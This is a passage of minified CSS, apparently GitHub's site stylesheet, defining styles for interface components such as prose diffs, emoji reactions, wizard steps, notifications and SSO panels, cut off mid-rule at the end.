.ActionList-item-label{font-weight:400}.PageLayout--responsive-separateRegions.PageLayout--responsive-primary-pane .ActionList-item--navActive::after{display:none}.PageLayout--responsive-separateRegions.PageLayout--responsive-primary-pane .ActionList-item.ActionList-item--navActive:not(.ActionList-item--danger):hover{background-color:var(--color-action-list-item-default-hover-bg)}}.steps{display:table;width:100%;padding:0;margin:32px auto 0;overflow:hidden;list-style:none;border:1px solid #dfe2e5;border-radius:6px;box-shadow:0 1px 3px rgba(27,31,35,.05)}.steps li{display:table-cell;width:33.3%;padding:8px 16px;color:#c6cbd1;cursor:default;background-color:var(--color-canvas-subtle);border-left:1px solid #dfe2e5}.steps li.current{color:var(--color-fg-default);background-color:var(--color-canvas-default)}.steps li.current .octicon{color:var(--color-accent-fg)}.steps li .octicon{float:left;margin-right:16px;margin-bottom:4px}.steps li .step{display:block}.steps li:first-child{border-left:0}.steps .complete{color:var(--color-fg-muted)}.steps .complete .octicon{color:var(--color-success-fg)}.prose-diff .anchor{display:none}.prose-diff .show-rich-diff{color:var(--color-accent-fg);text-decoration:none;cursor:pointer}.prose-diff .show-rich-diff:hover{text-decoration:underline}.prose-diff.collapsed .rich-diff-level-zero.expandable{cursor:pointer}.prose-diff.collapsed .rich-diff-level-zero.expandable .vicinity{display:block}.prose-diff.collapsed .rich-diff-level-zero.expandable .unchanged:not(.vicinity){display:none}.prose-diff.collapsed .rich-diff-level-zero.expandable .octicon{display:block;margin:16px auto;color:var(--color-fg-muted)}.prose-diff.collapsed .rich-diff-level-zero.expandable:hover .octicon{color:var(--color-fg-muted)}.prose-diff.collapsed .rich-diff-level-zero.expandable:only-child::before{font-size:16px;color:var(--color-fg-muted);content:"Sorry, no visible changes to display."}.prose-diff.collapsed .rich-diff-level-zero.expandable:only-child:hover::before{color:var(--color-fg-default)}.prose-diff.collapsed .rich-diff-level-zero.expandable>.removed,.prose-diff.collapsed .rich-diff-level-zero.expandable>del{display:none;text-decoration:none}.prose-diff .markdown-body{padding:32px;padding-left:16px}.prose-diff .markdown-body>ins{box-shadow:inset 4px 0 0 var(--color-success-muted)}.prose-diff .markdown-body>del{text-decoration:none;box-shadow:inset 4px 0 0 var(--color-danger-muted)}.prose-diff .markdown-body>ins,.prose-diff .markdown-body>del{display:block;border-radius:0}.prose-diff .markdown-body>ins>.rich-diff-level-zero,.prose-diff .markdown-body>ins>.rich-diff-level-one,.prose-diff .markdown-body>del>.rich-diff-level-zero,.prose-diff .markdown-body>del>.rich-diff-level-one{margin-left:16px}.prose-diff .markdown-body>ins:first-child *,.prose-diff .markdown-body>del:first-child *{margin-top:0}.prose-diff .rich-diff-level-zero.added{box-shadow:inset 4px 0 0 var(--color-success-muted)}.prose-diff .rich-diff-level-zero.removed{box-shadow:inset 4px 0 0 var(--color-danger-muted)}.prose-diff .rich-diff-level-zero.changed{box-shadow:inset 4px 0 0 var(--color-attention-muted)}.prose-diff .rich-diff-level-zero.unchanged,.prose-diff .rich-diff-level-zero.vicinity{margin-left:16px}.prose-diff .rich-diff-level-zero.added,.prose-diff .rich-diff-level-zero.removed,.prose-diff .rich-diff-level-zero.changed{display:block;border-radius:0}.prose-diff .rich-diff-level-zero.added>.rich-diff-level-one,.prose-diff .rich-diff-level-zero.removed>.rich-diff-level-one,.prose-diff .rich-diff-level-zero.changed>.rich-diff-level-one{margin-left:16px}.prose-diff .rich-diff-level-zero.added:first-child *,.prose-diff .rich-diff-level-zero.removed:first-child *,.prose-diff .rich-diff-level-zero.changed:first-child *{margin-top:0}.prose-diff :not(.changed)>:not(.github-user-ins):not(.github-user-del)>.removed,.prose-diff :not(.changed)>:not(.github-user-ins):not(.github-user-del)>del{text-decoration:none}.prose-diff .changed del,.prose-diff .changed del pre,.prose-diff .changed del code,.prose-diff .changed del>div,.prose-diff .changed .removed,.prose-diff .changed .removed pre,.prose-diff .changed .removed code,.prose-diff .changed .removed>div{color:var(--color-fg-default);text-decoration:line-through;background:var(--color-danger-subtle)}.prose-diff .changed ins,.prose-diff .changed ins code,.prose-diff .changed ins pre,.prose-diff .changed .added{color:var(--color-fg-default);background:var(--color-success-subtle);border-bottom:1px solid var(--color-success-muted)}.prose-diff>.markdown-body .github-user-ins{text-decoration:underline}.prose-diff>.markdown-body .github-user-del{text-decoration:line-through}.prose-diff>.markdown-body li ul.added{background:var(--color-success-subtle)}.prose-diff>.markdown-body li ul.removed{color:var(--color-fg-default);background:var(--color-danger-subtle)}.prose-diff>.markdown-body li ul.removed:not(.github-user-ins){text-decoration:line-through}.prose-diff>.markdown-body li.added.moved-up .octicon,.prose-diff>.markdown-body li.added.moved-down .octicon{margin-right:4px;margin-left:4px;color:var(--color-fg-muted)}.prose-diff>.markdown-body li.added.moved{background:var(--color-attention-subtle)}.prose-diff>.markdown-body li.removed.moved{display:none}.prose-diff>.markdown-body pre{padding:8px 16px}.prose-diff>.markdown-body th.changed,.prose-diff>.markdown-body td.changed{background:var(--color-attention-subtle);border-left-color:var(--color-border-default)}.prose-diff>.markdown-body :not(li.moved).removed{color:var(--color-fg-default);text-decoration:line-through;background:var(--color-danger-subtle)}.prose-diff>.markdown-body :not(.github-user-ins):not(li.moved).removed{text-decoration:line-through}.prose-diff>.markdown-body :not(li.moved).added,.prose-diff>.markdown-body li:not(.moved).added{background:var(--color-success-subtle)}.prose-diff>.markdown-body :not(.github-user-del):not(li.moved).added li:not(.moved):not(.github-user-del).added{text-decoration:none}.prose-diff>.markdown-body li:not(.moved).removed{color:var(--color-fg-default);background:var(--color-danger-subtle)}.prose-diff>.markdown-body li:not(.moved):not(.github-user-ins).removed{text-decoration:line-through}.prose-diff>.markdown-body .added,.prose-diff>.markdown-body ins+.added,.prose-diff>.markdown-body ins{border-top:0;border-bottom:0}.prose-diff>.markdown-body .added:not(.github-user-del):not(.github-user-ins),.prose-diff>.markdown-body ins+.added:not(.github-user-del):not(.github-user-ins),.prose-diff>.markdown-body ins:not(.github-user-del):not(.github-user-ins){text-decoration:none}.prose-diff>.markdown-body img.added,.prose-diff>.markdown-body img.removed{border-style:solid;border-width:1px}.prose-diff>.markdown-body ins pre:not(.github-user-del):not(.github-user-ins),.prose-diff>.markdown-body ins code:not(.github-user-del):not(.github-user-ins),.prose-diff>.markdown-body ins>div:not(.github-user-del):not(.github-user-ins){text-decoration:none}.prose-diff>.markdown-body ul>ins,.prose-diff>.markdown-body ul>del{display:block;padding:0}.prose-diff>.markdown-body .added>li,.prose-diff>.markdown-body .removed>li{margin-top:0;margin-bottom:0}span.changed_tag,em.changed_tag,strong.changed_tag,b.changed_tag,i.changed_tag,code.changed_tag{border-bottom:1px dotted var(--color-border-default);border-radius:0}a.added_href,a.changed_href,span.removed_href{border-bottom:1px dotted var(--color-border-default);border-radius:0}.diff-view .file-type-prose .rich-diff{display:none}.diff-view .display-rich-diff .rich-diff{display:block}.diff-view .display-rich-diff .file-diff{display:none}.protip{margin-top:16px;color:var(--color-fg-muted);text-align:center}.protip strong{color:var(--color-fg-default)}.protip code{padding:2px;background-color:var(--color-canvas-subtle);border-radius:6px}.add-reactions-options-item{margin-top:-1px;margin-right:-1px;line-height:29px;border:1px solid transparent}.add-reactions-options-item .emoji{display:inline-block;transition:transform .15s cubic-bezier(0.2, 0, 0.13, 2)}.add-reactions-options-item:hover .emoji,.add-reactions-options-item:focus .emoji{text-decoration:none !important;transform:scale(1.2) !important}.add-reactions-options-item:active{background-color:var(--color-accent-subtle)}.page-responsive .add-reactions-options-item{height:20vw}@media(min-width: 544px){.page-responsive .add-reactions-options-item{height:auto}}.comment-reactions{display:none}.comment-reactions::before{display:table;content:""}.comment-reactions::after{display:table;clear:both;content:""}.comment-reactions .reactions-menu{z-index:100}.page-responsive .comment-reactions{display:none}@media(min-width: 768px){.page-responsive .comment-reactions{display:none}.page-responsive .comment-reactions.has-reactions{display:flex}}.comment-reactions.has-reactions{display:flex}.comment-reactions.has-reactions:not(.social-reactions){border-top:1px solid var(--color-border-default)}.comment-reactions .user-has-reacted{background-color:var(--color-accent-subtle)}.reactions-container .user-has-reacted{background-color:var(--color-accent-subtle)}[data-color-mode=light][data-light-theme*=dark],[data-color-mode=dark][data-dark-theme*=dark]{--color-social-reaction-bg-hover:var(--color-scale-gray-7);--color-social-reaction-bg-reacted-hover:var(--color-scale-blue-8)}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=dark]{--color-social-reaction-bg-hover:var(--color-scale-gray-7);--color-social-reaction-bg-reacted-hover:var(--color-scale-blue-8)}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=dark]{--color-social-reaction-bg-hover:var(--color-scale-gray-7);--color-social-reaction-bg-reacted-hover:var(--color-scale-blue-8)}}:root,[data-color-mode=light][data-light-theme*=light],[data-color-mode=dark][data-dark-theme*=light]{--color-social-reaction-bg-hover:var(--color-scale-gray-1);--color-social-reaction-bg-reacted-hover:var(--color-scale-blue-1)}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=light]{--color-social-reaction-bg-hover:var(--color-scale-gray-1);--color-social-reaction-bg-reacted-hover:var(--color-scale-blue-1)}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=light]{--color-social-reaction-bg-hover:var(--color-scale-gray-1);--color-social-reaction-bg-reacted-hover:var(--color-scale-blue-1)}}.social-reaction-summary-item+.social-reaction-summary-item{margin-left:8px}.social-reactions .comment-body{margin-left:16px !important}.social-button-emoji{display:inline-block;width:16px;height:16px;font-size:1em !important;line-height:1.25;vertical-align:-1px}.social-reaction-summary-item{height:26px;padding:0 4px !important;margin-right:0;font-size:12px;line-height:26px;background-color:transparent;border:1px solid var(--color-border-default, #d2dff0);border-radius:100px}.social-reaction-summary-item:focus,.social-reaction-summary-item:focus-visible{border-radius:100px !important}.social-reaction-summary-item:focus{border-color:var(--color-accent-fg);outline:none;box-shadow:inset 0 0 0 1px var(--color-accent-fg)}.social-reaction-summary-item:focus:not(:focus-visible){border-color:transparent;border-color:var(--color-accent-fg);outline:none;box-shadow:inset 0 0 0 1px transparent}.social-reaction-summary-item:focus-visible{border-color:var(--color-accent-fg);outline:none;box-shadow:inset 0 0 0 1px var(--color-accent-fg)}.social-reaction-summary-item.user-has-reacted{background-color:var(--color-accent-subtle);border:1px solid var(--color-accent-emphasis) !important}.social-reaction-summary-item.user-has-reacted:hover{background-color:var(--color-social-reaction-bg-reacted-hover) !important}.social-reaction-summary-item>span{height:24px;padding:0 4px;margin-left:2px}.social-reaction-summary-item:hover{background-color:var(--color-social-reaction-bg-hover)}.reaction-dropdown-button{color:var(--color-fg-muted)}.reaction-dropdown-button:hover{color:var(--color-accent-fg)}.reaction-dropdown-button--inline{width:26px;height:26px}.reaction-dropdown-button--inline:hover{background-color:var(--color-btn-hover-bg) !important;border-color:var(--color-btn-hover-border) !important}.reaction-dropdown-button:disabled{color:var(--color-primer-fg-disabled) !important;pointer-events:none}.reactions-with-gap .comment .comment-reactions{margin-left:16px;border-top:0 !important}.new-reactions-dropdown .dropdown-menu-reactions{width:auto;padding:0 2px}.new-reactions-dropdown .dropdown-menu-reactions::before,.new-reactions-dropdown .dropdown-menu-reactions::after{background-color:transparent;border:0}.new-reactions-dropdown .dropdown-item-reaction{width:32px;height:32px;padding:4px;margin:4px 2px}.new-reactions-dropdown .dropdown-item-reaction.user-has-reacted{background-color:var(--color-accent-subtle)}.new-reactions-dropdown .dropdown-item-reaction:hover{background-color:var(--color-btn-hover-bg)}.RecentBranches{background-color:var(--color-attention-subtle);border:1px solid var(--color-attention-emphasis);border-radius:6px}.RecentBranches-item{line-height:28px;color:var(--color-fg-default)}.RecentBranches-item+.RecentBranches-item{border-top:1px solid var(--color-attention-emphasis)}.RecentBranches-item-link{color:var(--color-fg-default)}.RecentBranches-item-link.css-truncate-target{max-width:400px}.render-container{padding:32px;line-height:0;text-align:center;background:var(--color-canvas-subtle);border-bottom-right-radius:6px;border-bottom-left-radius:6px}.render-container .render-viewer{display:block;width:1px;height:1px;border:0}.render-container .octospinner{display:none}.render-container .render-viewer-error,.render-container .render-viewer-fatal,.render-container .render-viewer-invalid,.render-container .render-fullscreen{display:none}.render-container.is-render-automatic .octospinner{display:inline-block}.render-container.is-render-requested .octospinner{display:inline-block}.render-container.is-render-requested.is-render-failed .render-viewer-error{display:inline-block}.render-container.is-render-requested.is-render-failed .render-viewer,.render-container.is-render-requested.is-render-failed .render-viewer-fatal,.render-container.is-render-requested.is-render-failed .render-viewer-invalid,.render-container.is-render-requested.is-render-failed .octospinner{display:none}.render-container.is-render-requested.is-render-failed-fatal .render-viewer-fatal{display:inline-block}.render-container.is-render-requested.is-render-failed-fatal .render-viewer,.render-container.is-render-requested.is-render-failed-fatal .render-viewer-error,.render-container.is-render-requested.is-render-failed-fatal .render-viewer-invalid,.render-container.is-render-requested.is-render-failed-fatal .octospinner{display:none}.render-container.is-render-requested.is-render-failed-invalid .render-viewer-invalid{display:inline-block}.render-container.is-render-requested.is-render-failed-invalid .render-viewer,.render-container.is-render-requested.is-render-failed-invalid .render-viewer-error,.render-container.is-render-requested.is-render-failed-invalid .render-viewer-fatal,.render-container.is-render-requested.is-render-failed-invalid .octospinner{display:none}.render-container.is-render-ready.is-render-requested:not(.is-render-failed){height:500px;padding:0;background:none}.render-container.is-render-ready.is-render-requested:not(.is-render-failed) .render-viewer{width:100%;height:100%}.render-container.is-render-ready.is-render-requested:not(.is-render-failed) .render-fullscreen{display:flex}.render-container.is-render-ready.is-render-requested:not(.is-render-failed) .render-viewer-error,.render-container.is-render-ready.is-render-requested:not(.is-render-failed) .render-viewer-fatal,.render-container.is-render-ready.is-render-requested:not(.is-render-failed) .octospinner{display:none}.render-needs-enrichment{margin-bottom:16px}.render-needs-enrichment .render-full-screen{width:100%;height:auto;padding:16px;overflow:auto}.render-needs-enrichment .render-expand{top:2px;right:2px}.render-needs-enrichment .render-full-screen-close{top:0;right:0;padding:4px}.render-needs-enrichment .details{margin-bottom:0}.render-needs-enrichment .render-plaintext-hidden{display:none}.render-needs-enrichment.render-error .js-render-box{display:none !important}.render-notice{padding:16px 16px;font-size:14px;color:var(--color-fg-default);background-color:var(--color-canvas-subtle);border-color:var(--color-border-subtle)}.Skeleton{color:rgba(0,0,0,0);background-image:linear-gradient(270deg, rgba(0, 0, 0, 0.1), rgba(0, 0, 0, 0.05), rgba(0, 0, 0, 0.05), rgba(0, 0, 0, 0.1));background-size:400% 100%;animation:skeleton-loading 8s ease-in-out infinite}.Skeleton *{visibility:hidden}.Skeleton--text{-webkit-clip-path:inset(4px 0 4px 0 round 3px 3px 3px 3px);clip-path:inset(4px 0 4px 0 round 3px 3px 3px 3px)}.is-error .Skeleton{display:none}@keyframes skeleton-loading{0%{background-position:200% 0}100%{background-position:-200% 0}}.authors-2 .AvatarStack{min-width:36px !important}.authors-3 .AvatarStack{min-width:46px !important}[aria-selected=true] .AvatarStack-body,.navigation-focus .AvatarStack-body{background:#f6fbff}.tracked-in-parent-pill{position:relative;cursor:default}.tracked-in-parent-pill-truncated{position:absolute;left:100%;display:none;white-space:nowrap;background:var(--color-canvas-default);border-left-width:0 !important;border-top-left-radius:0 !important;border-bottom-left-radius:0 !important}.tracked-in-parent-pill:hover .tracked-in-parent-pill-truncated{display:block}.wizard-step-item{position:relative;padding:8px 0;margin-left:16px;flex-direction:row}.wizard-step-item::before{position:absolute;top:32px;bottom:0;left:0;display:block;width:2px;height:100%;content:"";background-color:var(--color-border-default)}.wizard-step-badge{position:relative;z-index:1;display:flex;width:32px;height:32px;margin-right:8px;margin-left:-16px;color:var(--color-fg-default);align-items:center;background-color:var(--color-border-default);border:1px solid var(--color-canvas-default);border-radius:50%;justify-content:center;flex-shrink:0}.wizard-step-body{min-width:0;max-width:100%;color:var(--color-fg-default);flex:auto}.wizard-step-body .wizard-step-buttons{display:none;margin-top:16px;justify-content:flex-end}.wizard-step-container{border:0}.wizard-step-container .wizard-step-content{display:none;width:100%;padding:16px 24px 24px 24px;overflow:visible;font-size:14px}.wizard-step-container.wizard-step-container-icon .wizard-step-content{padding:24px}.wizard-step-header{padding-top:4px;padding-left:8px}.wizard-step-header>.wizard-step-title{min-width:0;margin-bottom:4px;flex:1 1 auto;color:var(--color-fg-muted)}.wizard-step-icon{display:none;height:96px;color:var(--color-accent-fg);background-image:linear-gradient(to right, var(--color-accent-subtle), var(--color-canvas-default));justify-content:center;align-items:center;border-top-left-radius:6px;border-top-right-radius:6px}.wizard-step[data-single-page-wizard-step-complete=true] .wizard-step-badge{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.wizard-step[data-single-page-wizard-step-complete=true] .wizard-step-item::before{background-color:var(--color-accent-emphasis)}.wizard-step[data-single-page-wizard-step-complete=true] .wizard-step-title{color:var(--color-fg-default)}.wizard-step[data-single-page-wizard-last-step=true] .wizard-step-badge .wizard-step-check{display:block;color:var(--color-fg-on-emphasis)}.wizard-step[data-single-page-wizard-last-step=true] .wizard-step-item::before{top:0;display:block;height:16px}@media(min-width: 768px){.wizard-step[data-single-page-wizard-last-step=true] .wizard-step-item::before{display:none}}.wizard-step[data-single-page-wizard-last-step=true] .wizard-step-icon{color:var(--color-success-fg);background-image:linear-gradient(to right, var(--color-success-subtle), var(--color-canvas-default))}.wizard-step:not([data-single-page-wizard-last-step=true]) .wizard-step-badge .wizard-step-check{display:none}.wizard-step:not([data-single-page-wizard-last-step=true]) .wizard-step-badge::before{color:var(--color-fg-on-emphasis);content:attr(data-single-page-wizard-step)}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-badge{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.wizard-step[data-single-page-wizard-step-current=true][data-single-page-wizard-last-step=true] .wizard-step-badge{background-color:var(--color-success-emphasis)}.wizard-step[data-single-page-wizard-step-current=true][data-single-page-wizard-last-step=true] .wizard-step-item::before{top:42px;height:16px}.wizard-step[data-single-page-wizard-step-current=true][data-single-page-wizard-last-step=true] .wizard-step-container-icon::after{background-image:linear-gradient(var(--color-success-subtle), var(--color-success-subtle))}.wizard-step[data-single-page-wizard-step-current=true]:not([data-single-page-wizard-last-step=true]) .wizard-step-container-icon::after{background-image:linear-gradient(var(--color-accent-subtle), var(--color-accent-subtle))}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-icon{display:flex}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-item{flex-direction:column}@media(min-width: 768px){.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-item{flex-direction:row}}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-body{margin-top:16px;margin-left:-16px}@media(min-width: 768px){.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-body{margin-top:0;margin-left:0}}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container{position:relative;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::after,.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::before{background-color:var(--color-border-default)}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::before,.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::after{transform:rotate(90deg)}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::before{position:absolute;top:-12px;right:100%;left:12px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::after{top:-10px;left:11px}@media(min-width: 768px){.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::before,.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::after{top:11px;left:-8px;transform:rotate(0)}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::after{margin-left:1px}}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container .wizard-step-header{display:none}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container .wizard-step-content-header{margin-bottom:16px}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container .wizard-step-title{color:var(--color-fg-default)}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container .wizard-step-content{display:block}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-buttons{display:flex}.alert-label{color:var(--color-fg-on-emphasis)}.graph-canvas .alert-label--critical{fill:var(--color-danger-emphasis)}.graph-canvas .alert-label--high{fill:var(--color-severe-emphasis)}.graph-canvas .alert-label--moderate{fill:var(--color-attention-emphasis)}.graph-canvas .alert-label--low{fill:var(--color-neutral-emphasis)}.advisory-form{background-color:var(--color-canvas-subtle);border-top:1px solid var(--color-border-default)}.advisory-form .form-control{background-color:var(--color-canvas-default)}.advisory-form .form-actions{background-color:var(--color-canvas-default)}.advisory-form .previewable-comment-form{background-color:var(--color-canvas-default)}.advisory-credit-window-min{min-height:72px}.advisory-credit-window-max{max-height:370px}[data-target="animated-image.originalImage"],[data-target="animated-image.replacedImage"],[data-a11y-animated-images=system] [data-animated-image],[data-a11y-animated-images=disabled] [data-animated-image]{display:none}animated-image[data-catalyst]{display:inline-block}.AnimatedImagePlayer{position:relative;display:inline-block;width:100%}.AnimatedImagePlayer>a:not(.AnimatedImagePlayer-images){display:none}.AnimatedImagePlayer-controls{position:absolute;top:8px;right:8px;z-index:2;display:none;padding:4px;list-style:none;background:var(--color-canvas-default);border-radius:6px;box-shadow:var(--color-overlay-shadow);opacity:1;transition:opacity 80ms linear}.AnimatedImagePlayer-images .AnimatedImagePlayer-animatedImage{cursor:pointer}.AnimatedImagePlayer-button{display:flex;align-items:center;justify-content:center;width:32px;height:32px;cursor:pointer;background-color:var(--color-canvas-default);border:0;border-radius:6px}@media(hover: hover)and (pointer: fine){.AnimatedImagePlayer-button:hover{background-color:var(--color-btn-hover-bg);transition:background-color 200ms linear}}.AnimatedImagePlayer-images{display:block;width:100%;padding:0;margin:0;background:none;border:0;outline:none;outline-offset:0}.AnimatedImagePlayer-images:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:0}.AnimatedImagePlayer-button:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px}.AnimatedImagePlayer-button svg{width:16px;height:16px;pointer-events:none;fill:var(--color-fg-muted)}.AnimatedImagePlayer-button:hover svg{fill:var(--color-fg-default)}.AnimatedImagePlayer-stillImage{position:absolute;top:0;left:0;z-index:1;display:none;width:100%;height:100%;pointer-events:none}.AnimatedImagePlayer-animatedImage{width:100%;max-width:100%;max-height:100%}.AnimatedImagePlayer.playing .AnimatedImagePlayer-controls{opacity:0;transition-delay:1s}.AnimatedImagePlayer.enabled .AnimatedImagePlayer-animatedImage{opacity:0 !important}.AnimatedImagePlayer.enabled.playing .AnimatedImagePlayer-animatedImage{opacity:1 !important}.AnimatedImagePlayer.playing.player-focused .AnimatedImagePlayer-controls{opacity:1;transition-delay:0ms}@media(hover: hover)and (pointer: fine){.AnimatedImagePlayer.playing:hover .AnimatedImagePlayer-controls{opacity:1;transition-delay:0s}}.AnimatedImagePlayer.enabled.playing .AnimatedImagePlayer-stillImage,.AnimatedImagePlayer.enabled.playing .icon-play,.AnimatedImagePlayer .icon-pause{display:none}.AnimatedImagePlayer .icon-play,.AnimatedImagePlayer.enabled.playing .icon-pause,.AnimatedImagePlayer.enabled .AnimatedImagePlayer-stillImage{display:block}.AnimatedImagePlayer.enabled .AnimatedImagePlayer-controls{display:flex}.emoji-tab.UnderlineNav-item{margin-right:4px}.emoji-tab[role=tab][aria-selected=true]{font-weight:600;color:var(--color-fg-default);border-bottom-color:var(--color-severe-emphasis)}.emoji-tab[role=tab][aria-selected=true] .UnderlineNav-octicon{color:var(--color-fg-muted)}.selected-emoji{z-index:100;background-color:var(--color-accent-emphasis)}.emoji-picker-container .emoji-picker-tab g-emoji{margin-right:auto;margin-left:4px}.emoji-tab .emoji-icon{width:auto}.emoji-picker-container{z-index:1;width:395px}.emoji-picker-tab{height:136px;padding-top:8px}.emoji-picker-emoji-width{width:32px;height:28px}.emoji-picker-tab .btn-outline:not(:hover){background-color:transparent}.emoji-picker-list{list-style:none}.notification-shelf{z-index:34}.notification-shelf.is-stuck{z-index:999}@media(max-width: 767px){.notifications-v2 .commit-ref .css-truncate-target{word-break:break-all;white-space:normal}}@media(max-width: 543px){.notifications-v2 .Box{border-right:0;border-left:0;border-radius:0}}@media(max-width: 543px){.notifications-v2 .Box .Box-header{border-right:0 !important;border-left:0 !important;border-radius:0 !important}}@media(max-width: 767px){.notifications-v2 .AvatarStack--right{width:auto !important;min-width:auto !important;margin-left:53px !important}}@media(max-width: 767px){.notifications-v2 .AvatarStack--right .AvatarStack-body{position:relative !important;right:unset !important;margin-right:8px;flex-direction:row !important}}@media(max-width: 767px){.notifications-v2 .AvatarStack-body .avatar{position:relative !important;margin-right:-12px !important;margin-left:0 !important;border-right:1px solid #fff !important;border-left:0 !important}}.notifications-v2 .thread-subscription-status{background-color:transparent !important}.notifications-v2 .notification-action-mark-archived,.notifications-v2 .notification-action-mark-unread,.notifications-v2 .notification-action-star,.notifications-v2 .notification-action-unsubscribe{display:block !important}.notifications-v2 .notification-action-mark-read,.notifications-v2 .notification-action-mark-unarchived,.notifications-v2 .notification-action-subscribe,.notifications-v2 .notification-action-unstar,.notifications-v2 .notification-is-starred-icon{display:none !important}.notifications-v2 .notification-unsubscribed .notification-action-unsubscribe{display:none !important}.notifications-v2 .notification-unsubscribed .notification-action-subscribe{display:block !important}.notifications-v2 .notification-unread .notification-action-mark-read{display:block !important}.notifications-v2 .notification-unread .notification-action-mark-unread{display:none !important}.notifications-v2 .notification-archived .notification-action-mark-archived,.notifications-v2 .notification-archived .notification-action-mark-read,.notifications-v2 .notification-archived .notification-action-mark-unread{display:none !important}.notifications-v2 .notification-archived .notification-action-mark-unarchived{display:block !important}.notifications-v2 .notification-starred .notification-action-star{display:none !important}.notifications-v2 .notification-starred .notification-is-starred-icon{display:inline-block !important}.notifications-v2 .notification-starred .notification-action-unstar{display:block !important}.notifications-v2 .thread-subscribe-form{display:none !important}.notifications .read .avatar img{opacity:.5}.notifications .read .undo{display:block}.notifications .read .delete{visibility:hidden}.notifications .read[aria-selected=true],.notifications .read.navigation-focus{background-color:#f5f9fc}.notifications .muted .unmute{display:block}.notifications .muted .mute{display:none}.notifications .unmute{display:none}.notifications-list{float:left;width:100%}.thread-subscription-status{padding:8px;margin:40px 0 16px;color:var(--color-fg-muted);border:1px solid var(--color-border-default);border-radius:6px}.thread-subscription-status .btn-sm>.octicon{margin-right:1px}.thread-subscription-status .reason{display:inline-block;margin:0 8px;vertical-align:middle}.thread-subscription-status .thread-subscribe-form{display:inline-block;vertical-align:middle}.subscription .loading{opacity:.5}.progress-pjax-loader{z-index:99999;height:2px !important;background:transparent;opacity:0;transition:opacity .4s linear .4s}.progress-pjax-loader.is-loading{opacity:1;transition:none}.progress-pjax-loader>.progress-pjax-loader-bar{background-color:#79b8ff;transition:width .4s ease}.starred .starred-button-icon{color:var(--color-scale-yellow-2)}.user-lists-menu-action{color:var(--color-fg-default)}.user-lists-menu-action:hover:not(:disabled){color:var(--color-fg-default);background-color:var(--color-canvas-subtle)}.user-lists-menu-action:focus:not(:disabled){color:var(--color-fg-default);outline:2px solid var(--color-accent-emphasis);outline-offset:2px}.starring-container .BtnGroup-parent:active{z-index:auto}.shelf{padding-top:16px;margin-bottom:16px;background-color:var(--color-canvas-default);border-bottom:1px solid var(--color-border-muted)}.shelf .container{position:relative}.org-sso,.business-sso{width:340px;margin:0 auto}.org-sso .sso-title,.business-sso .sso-title{font-size:24px;font-weight:300;letter-spacing:-0.5px}.org-sso .org-sso-panel,.org-sso .business-sso-panel,.business-sso .org-sso-panel,.business-sso .business-sso-panel{padding:16px;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px}.org-sso .sso-recovery-callout,.business-sso .sso-recovery-callout{padding:16px 8px;text-align:center;border:1px solid var(--color-border-muted);border-radius:6px}.sso-modal{padding:16px}.sso-modal .org-sso,.sso-modal .business-sso{width:auto}.sso-modal .org-sso .org-sso-panel,.sso-modal .business-sso .business-sso-panel{border:0}.sso-modal .sso-prompt-success,.sso-modal .sso-prompt-error{display:none}.sso-modal.success .sso-prompt-default{display:none}.sso-modal.success .sso-prompt-success{display:block}.sso-modal.error .sso-prompt-default{display:none}.sso-modal.error .sso-prompt-error{display:block}.sso-modal.error .flash-error{margin-right:-32px;margin-left:-32px;border-right:0;border-left:0;border-radius:0}.tag-input-container{position:relative}.tag-input-container .suggester{position:absolute;z-index:100;width:100%;margin-top:-1px}.tag-input-container ul{list-style:none}.tag-input input{float:left;padding-left:2px;margin:0;background:none;border:0;box-shadow:none}.tag-input input:focus{box-shadow:none}.task-list-item{list-style-type:none}.task-list-item label{font-weight:400}.task-list-item.enabled label{cursor:pointer}.task-list-item+.task-list-item{margin-top:4px}.task-list-item .handle{display:none}.task-list-item-checkbox{margin:0 .2em .25em -1.6em;vertical-align:middle}.contains-task-list:dir(rtl) .task-list-item-checkbox{margin:0 -1.6em .25em .2em}.convert-to-issue-button{top:2px;right:4px;padding:0 2px;margin-right:8px;-webkit-user-select:none;user-select:none;background-color:var(--color-canvas-subtle)}.convert-to-issue-button 